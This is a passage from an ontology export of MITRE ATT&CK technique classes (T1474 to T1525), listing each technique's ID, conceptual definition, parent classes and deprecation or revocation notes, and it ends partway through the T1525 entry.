Compromise Software Supply Chain - ATTACK Mobile
type: Class
attack-id: T1474.003
definition: Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.
subclass of: T1474
preferred label: Compromise Software Supply Chain

Deliver Malicious App via Authorized App Store - ATTACK Mobile
type: Class
attack-id: T1475
definition: Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. Mobile devices often are configured to allow application installation only from an authorized app store (e.g., Google Play Store or Apple App Store). An adversary may seek to place a malicious application in an authorized app store, enabling the application to be installed onto targeted devices.
comment: This technique has been deprecated.
subclass of: ATTACKMobileInitialAccessTechnique
deprecated: true
preferred label: Deliver Malicious App via Authorized App Store

Deliver Malicious App via Other Means - ATTACK Mobile
type: Class
attack-id: T1476
definition: Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. This technique describes installing a malicious application on targeted mobile devices without involving an authorized app store (e.g., Google Play Store or Apple App Store). Adversaries may wish to avoid placing malicious applications in an authorized app store due to increased potential risk of detection or other reasons. However, mobile devices often are configured to allow application installation only from an authorized app store which would prevent this technique from working.
comment: This technique has been deprecated.
subclass of: ATTACKMobileInitialAccessTechnique
deprecated: true
preferred label: Deliver Malicious App via Other Means

Exploit via Radio Interfaces - ATTACK Mobile
type: Class
attack-id: T1477
definition: The mobile device may be targeted for exploitation through its interface to cellular networks or other radio interfaces.
comment: This technique has been deprecated.
subclass of: ATTACKMobileInitialAccessTechnique
deprecated: true
preferred label: Exploit via Radio Interfaces

Install Insecure or Malicious Configuration - ATTACK Mobile
type: Class
attack-id: T1478
definition: An adversary could attempt to install insecure or malicious configuration settings on the mobile device, through means such as phishing emails or text messages either directly containing the configuration settings as an attachment, or containing a web link to the configuration settings. The device user may be tricked into installing the configuration settings through social engineering techniques (Citation: Symantec-iOSProfile).
comment: This technique has been revoked by T1632.001
subclass of: ATTACKMobileDefenseEvasionTechnique
subclass of: ATTACKMobileInitialAccessTechnique
deprecated: true
preferred label: Install Insecure or Malicious Configuration

Environmental Keying
type: Class
attack-id: T1480.001
definition: Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)
subclass of: T1480

Mutual Exclusion
type: Class
attack-id: T1480.002
definition: Adversaries may constrain execution or actions based on the presence of a mutex associated with malware. A mutex is a locking mechanism used to synchronize access to a resource. Only one thread or process can acquire a mutex at a given time.(Citation: Microsoft Mutexes)
subclass of: T1480

Dead Drop Resolver - ATTACK Mobile
type: Class
attack-id: T1481.001
definition: Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.
subclass of: T1481
preferred label: Dead Drop Resolver

Bidirectional Communication - ATTACK Mobile
type: Class
attack-id: T1481.002
definition: Adversaries may use an existing, legitimate external Web service channel as a means for sending commands to and receiving output from a compromised system. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet.
subclass of: T1481
preferred label: Bidirectional Communication

One-Way Communication - ATTACK Mobile
type: Class
attack-id: T1481.003
definition: Adversaries may use an existing, legitimate external Web service channel as a means for sending commands to a compromised system without receiving return output. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.
subclass of: T1481
preferred label: One-Way Communication

Domain Trust Discovery
type: Class
attack-id: T1482
definition: Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1134/005), [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003), and [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)
subclass of: DiscoveryTechnique

Domain Generation Algorithms
type: Class
attack-id: T1483
definition: Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)
comment: This technique has been revoked by T1568.002
subclass of: CommandAndControlTechnique
deprecated: true

Group Policy Modification
type: Class
attack-id: T1484.001
definition: Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predictable network path `\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)
subclass of: T1484

Trust Modification
type: Class
attack-id: T1484.002
definition: Adversaries may add new domain trusts, modify the properties of existing domain trusts, or otherwise change the configuration of trust relationships between domains and tenants to evade defenses and/or elevate privileges.Trust details, such as whether or not user identities are federated, allow authentication and authorization properties to apply between domains or tenants for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.
subclass of: T1484

Lifecycle-Triggered Deletion
type: Class
attack-id: T1485.001
definition: Adversaries may modify the lifecycle policies of a cloud storage bucket to destroy all objects stored within.
subclass of: Data Destruction

Data Encrypted for Impact
type: Class
attack-id: T1486
definition: Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018)
subclass of: ImpactTechnique

Disk Structure Wipe
type: Class
attack-id: T1487
definition: Adversaries may corrupt or wipe the disk data structures on hard drive necessary to boot systems; targeting specific critical systems as well as a large number of systems in a network to interrupt availability to system and network resources.
comment: This technique has been revoked by T1561.002
subclass of: ImpactTechnique
deprecated: true

Disk Content Wipe
type: Class
attack-id: T1488
definition: Adversaries may erase the contents of storage devices on specific systems as well as large numbers of systems in a network to interrupt availability to system and network resources.
comment: This technique has been revoked by T1561.001
subclass of: ImpactTechnique
deprecated: true

Service Stop
type: Class
attack-id: T1489
definition: Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster)
subclass of: ImpactTechnique

Inhibit System Recovery
type: Class
attack-id: T1490
definition: Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.
subclass of: ImpactTechnique

Internal Defacement
type: Class
type: NamedIndividual
attack-id: T1491.001
definition: An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)
modifies: Resource
subclass of: Restriction
  on property: modifies
  some values from: Resource
subclass of: T1491

External Defacement
type: Class
type: NamedIndividual
attack-id: T1491.002
definition: An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. [External Defacement](https://attack.mitre.org/techniques/T1491/002) may ultimately cause users to distrust the systems and to question/discredit the system’s integrity. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)
modifies: NetworkResource
subclass of: Restriction
  on property: modifies
  some values from: NetworkResource
subclass of: T1491

Stored Data Manipulation
type: Class
attack-id: T1492
definition: Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
comment: This technique has been revoked by T1565.001
subclass of: ImpactTechnique
deprecated: true

Transmitted Data Manipulation
type: Class
attack-id: T1493
definition: Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
comment: This technique has been revoked by T1565.002
subclass of: ImpactTechnique
deprecated: true

Runtime Data Manipulation
type: Class
attack-id: T1494
definition: Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
comment: This technique has been revoked by T1565.003
subclass of: ImpactTechnique
deprecated: true

Firmware Corruption
type: Class
attack-id: T1495
definition: Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot, thus denying the availability to use the devices and/or the system.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices may include the motherboard, hard drive, or video cards.
subclass of: ImpactTechnique

Compute Hijacking
type: Class
attack-id: T1496.001
definition: Adversaries may leverage the compute resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability.
subclass of: T1496

Bandwidth Hijacking
type: Class
attack-id: T1496.002
definition: Adversaries may leverage the network bandwidth resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability.
subclass of: T1496

SMS Pumping
type: Class
attack-id: T1496.003
definition: Adversaries may leverage messaging services for SMS pumping, which may impact system and/or hosted service availability.(Citation: Twilio SMS Pumping) SMS pumping is a type of telecommunications fraud whereby a threat actor first obtains a set of phone numbers from a telecommunications provider, then leverages a victim’s messaging infrastructure to send large amounts of SMS messages to numbers in that set. By generating SMS traffic to their phone number set, a threat actor may earn payments from the telecommunications provider.(Citation: Twilio SMS Pumping Fraud)
subclass of: T1496

Cloud Service Hijacking
type: Class
attack-id: T1496.004
definition: Adversaries may leverage compromised software-as-a-service (SaaS) applications to complete resource-intensive tasks, which may impact hosted service availability.
subclass of: T1496

System Checks
type: Class
attack-id: T1497.001
definition: Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)
subclass of: T1497

User Activity Based Checks
type: Class
attack-id: T1497.002
definition: Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)
subclass of: T1497

Time Based Evasion
type: Class
type: NamedIndividual
attack-id: T1497.003
definition: Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.
may-invoke: GetSystemTime
may-run: SystemTimeApplication
subclass of: Restriction
  on property: may-invoke
  some values from: GetSystemTime
subclass of: Restriction
  on property: may-run
  some values from: SystemTimeApplication
subclass of: T1497

Direct Network Flood
type: Class
type: NamedIndividual
attack-id: T1498.001
creates: InboundInternetNetworkTraffic
definition: Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001)s are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.
subclass of: Restriction
  on property: creates
  some values from: InboundInternetNetworkTraffic
subclass of: T1498

Reflection Amplification
type: Class
type: NamedIndividual
attack-id: T1498.002
definition: Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.
produces: InboundInternetNetworkTraffic
subclass of: Restriction
  on property: produces
  some values from: InboundInternetNetworkTraffic
subclass of: T1498

OS Exhaustion Flood
type: Class
attack-id: T1499.001
definition: Adversaries may launch a denial of service (DoS) attack targeting an endpoint's operating system (OS). A system's OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity. These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes.
subclass of: T1499

Service Exhaustion Flood
type: Class
type: NamedIndividual
attack-id: T1499.002
definition: Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.
produces: InboundInternetNetworkTraffic
subclass of: Restriction
  on property: produces
  some values from: InboundInternetNetworkTraffic
subclass of: T1498
subclass of: T1499

Application Exhaustion Flood
type: Class
attack-id: T1499.003
definition: Adversaries may target resource intensive features of applications to cause a denial of service (DoS), denying availability to those applications. For example, specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport Jan 2018)
subclass of: T1499

Application or System Exploitation
type: Class
attack-id: T1499.004
definition: Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.
subclass of: T1499

Compile After Delivery
type: Class
attack-id: T1500
definition: Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)
comment: This technique has been revoked by T1027.004
subclass of: DefenseEvasionTechnique
deprecated: true

Systemd Service
type: Class
attack-id: T1501
definition: Systemd services can be used to establish persistence on a Linux system. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.
comment: This technique has been revoked by T1543.002
subclass of: PersistenceTechnique
deprecated: true

Parent PID Spoofing
type: Class
attack-id: T1502
definition: Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)
comment: This technique has been revoked by T1134.004
subclass of: DefenseEvasionTechnique
subclass of: PrivilegeEscalationTechnique
deprecated: true

Credentials from Web Browsers
type: Class
attack-id: T1503
definition: Adversaries may acquire credentials from web browsers by reading files specific to the target browser. (Citation: Talos Olympic Destroyer 2018)
comment: This technique has been revoked by T1555.003
subclass of: CredentialAccessTechnique
deprecated: true

PowerShell Profile
type: Class
attack-id: T1504
definition: Adversaries may gain persistence and elevate privileges in certain situations by abusing [PowerShell](https://attack.mitre.org/techniques/T1086) profiles. A PowerShell profile (profile.ps1) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments. PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles)
comment: This technique has been revoked by T1546.013
subclass of: PersistenceTechnique
subclass of: PrivilegeEscalationTechnique
deprecated: true

SQL Stored Procedures
type: Class
type: NamedIndividual
attack-id: T1505.001
creates: StoredProcedure
definition: Adversaries may abuse SQL stored procedures to establish persistent access to systems. SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted).
invokes: CreateProcess
subclass of: Restriction
  on property: creates
  some values from: StoredProcedure
subclass of: Restriction
  on property: invokes
  some values from: CreateProcess
subclass of: T1505

Transport Agent
type: Class
type: NamedIndividual
adds: MessageTransferAgent
attack-id: T1505.002
definition: Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks.
modifies: MailServer
subclass of: Restriction
  on property: modifies
  some values from: MailServer
subclass of: Restriction
  on property: adds
  some values from: MessageTransferAgent
subclass of: T1505

IIS Components
type: Class
type: NamedIndividual
adds: Software
attack-id: T1505.004
definition: Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. IIS provides several mechanisms to extend the functionality of the web servers. For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. Extensions and filters are deployed as DLL files that export three functions: Get{Extension/Filter}Version, Http{Extension/Filter}Proc, and (optionally) Terminate{Extension/Filter}. IIS modules may also be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: IIS Backdoor 2011)(Citation: Trustwave IIS Module 2013)
subclass of: Restriction
  on property: adds
  some values from: Software
subclass of: T1505

Terminal Services DLL
type: Class
attack-id: T1505.005
definition: Adversaries may abuse components of Terminal Services to enable persistent access to systems. Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts. Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.(Citation: Microsoft Remote Desktop Services)
subclass of: T1505

vSphere Installation Bundles
type: Class
attack-id: T1505.006
definition: Adversaries may abuse vSphere Installation Bundles (VIBs) to establish persistent access to ESXi hypervisors. VIBs are collections of files used for software distribution and virtual system management in VMware environments. Since ESXi uses an in-memory filesystem where changes made to most files are stored in RAM rather than in persistent storage, these modifications are lost after a reboot. However, VIBs can be used to create startup tasks, apply custom firewall rules, or deploy binaries that persist across reboots. Typically, administrators use VIBs for updates and system maintenance.
subclass of: T1505

Web Session Cookie
type: Class
attack-id: T1506
definition: Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)
comment: This technique has been revoked by T1550.004
subclass of: DefenseEvasionTechnique
subclass of: LateralMovementTechnique
deprecated: true

Network Information Discovery - ATTACK Mobile
type: Class
attack-id: T1507
definition: Adversaries may use device sensors to collect information about nearby networks, such as Wi-Fi and Bluetooth.
comment: This technique has been revoked by T1421
subclass of: ATTACKMobileCollectionTechnique
deprecated: true
preferred label: Network Information Discovery

Suppress Application Icon - ATTACK Mobile
type: Class
attack-id: T1508
definition: A malicious application could suppress its icon from being displayed to the user in the application launcher to hide the fact that it is installed, and to make it more difficult for the user to uninstall the application. Hiding the application's icon programmatically does not require any special permissions.
comment: This technique has been revoked by T1628.001
subclass of: ATTACKMobileDefenseEvasionTechnique
deprecated: true
preferred label: Suppress Application Icon

Non-Standard Port - ATTACK Mobile
type: Class
attack-id: T1509
definition: Adversaries may generate network traffic using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088 or port 587 as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
subclass of: ATTACKMobileCommandAndControlTechnique
preferred label: Non-Standard Port

Clipboard Modification - ATTACK Mobile
type: Class
attack-id: T1510
definition: Adversaries may abuse clipboard functionality to intercept and replace information in the Android device clipboard.(Citation: ESET Clipboard Modification February 2019)(Citation: Welivesecurity Clipboard Modification February 2019)(Citation: Syracuse Clipboard Modification 2014) Malicious applications may monitor the clipboard activity through the ClipboardManager.OnPrimaryClipChangedListener interface on Android to determine when the clipboard contents have changed.(Citation: Dr.Webb Clipboard Modification origin2 August 2018)(Citation: Dr.Webb Clipboard Modification origin August 2018) Listening to clipboard activity, reading the clipboard contents, and modifying the clipboard contents requires no explicit application permissions and can be performed by applications running in the background, however, this behavior has changed with the release of Android 10.(Citation: Android 10 Privacy Changes)
comment: This technique has been revoked by T1641.001
subclass of: ATTACKMobileImpactTechnique
deprecated: true
preferred label: Clipboard Modification

Video Capture - ATTACK Mobile
type: Class
attack-id: T1512
definition: An adversary can leverage a device’s cameras to gather information by capturing video recordings. Images may also be captured, potentially in specified intervals, in lieu of video files.
subclass of: ATTACKMobileCollectionTechnique
preferred label: Video Capture

Screen Capture - ATTACK Mobile
type: Class
attack-id: T1513
definition: Adversaries may use screen capture to collect additional information about a target device, such as applications running in the foreground, user data, credentials, or other sensitive information. Applications running in the background can capture screenshots or videos of another application running in the foreground by using the Android `MediaProjectionManager` (generally requires the device user to grant consent).(Citation: Fortinet screencap July 2019)(Citation: Android ScreenCap1 2019) Background applications can also use Android accessibility services to capture screen contents being displayed by a foreground application.(Citation: Lookout-Monokle) An adversary with root access or Android Debug Bridge (adb) access could call the Android `screencap` or `screenrecord` commands.(Citation: Android ScreenCap2 2019)(Citation: Trend Micro ScreenCap July 2015)
subclass of: ATTACKMobileCollectionTechnique
preferred label: Screen Capture

Elevated Execution with Prompt
type: Class
attack-id: T1514
definition: Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.
comment: This technique has been revoked by T1548.004
subclass of: PrivilegeEscalationTechnique
deprecated: true

Input Injection - ATTACK Mobile
type: Class
attack-id: T1516
definition: A malicious application can inject input to the user interface to mimic user interaction through the abuse of Android's accessibility APIs.
subclass of: ATTACKMobileDefenseEvasionTechnique
subclass of: ATTACKMobileImpactTechnique
preferred label: Input Injection

Access Notifications - ATTACK Mobile
type: Class
attack-id: T1517
definition: Adversaries may collect data within notifications sent by the operating system or other applications. Notifications may contain sensitive data such as one-time authentication codes sent over SMS, email, or other mediums. In the case of Credential Access, adversaries may attempt to intercept one-time code sent to the device. Adversaries can also dismiss notifications to prevent the user from noticing that the notification has arrived and can trigger action buttons contained within notifications.(Citation: ESET 2FA Bypass)
subclass of: ATTACKMobileCollectionTechnique
subclass of: ATTACKMobileCredentialAccessTechnique
preferred label: Access Notifications

Emond
type: Class
attack-id: T1519
definition: Adversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers. Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1160) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1160) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)
comment: This technique has been revoked by T1546.014
subclass of: PersistenceTechnique
subclass of: PrivilegeEscalationTechnique
deprecated: true

Domain Generation Algorithms - ATTACK Mobile
type: Class
attack-id: T1520
definition: Adversaries may use [Domain Generation Algorithms](https://attack.mitre.org/techniques/T1520) (DGAs) to procedurally generate domain names for command and control communication, and other uses such as malicious application distribution.(Citation: securelist rotexy 2018)
comment: This technique has been revoked by T1637.001
subclass of: ATTACKMobileCommandAndControlTechnique
deprecated: true
preferred label: Domain Generation Algorithms

Symmetric Cryptography - ATTACK Mobile
type: Class
attack-id: T1521.001
definition: Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic, rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, Blowfish, and RC4.
subclass of: T1521
preferred label: Symmetric Cryptography

Asymmetric Cryptography - ATTACK Mobile
type: Class
attack-id: T1521.002
definition: Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic, rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private that should not be distributed. Due to how asymmetric algorithms work, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA, ElGamal, and ECDSA.
subclass of: T1521
preferred label: Asymmetric Cryptography

SSL Pinning - ATTACK Mobile
type: Class
attack-id: T1521.003
definition: Adversaries may use [SSL Pinning](https://attack.mitre.org/techniques/T1521/003) to protect the C2 traffic from being intercepted and analyzed.
subclass of: T1521
preferred label: SSL Pinning

Cloud Instance Metadata API
type: Class
attack-id: T1522
definition: Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.
comment: This technique has been revoked by T1552.005
subclass of: CredentialAccessTechnique
deprecated: true

Evade Analysis Environment - ATTACK Mobile
type: Class
attack-id: T1523
definition: Malicious applications may attempt to detect their operating environment prior to fully executing their payloads. These checks are often used to ensure the application is not running within an analysis environment such as a sandbox used for application vetting, security research, or reverse engineering.
comment: This technique has been revoked by T1633.001
subclass of: ATTACKMobileDefenseEvasionTechnique
subclass of: ATTACKMobileDiscoveryTechnique
deprecated: true
preferred label: Evade Analysis Environment

Implant Internal Image
type: Class
type: NamedIndividual
adds: ContainerImage
attack-id: T1525
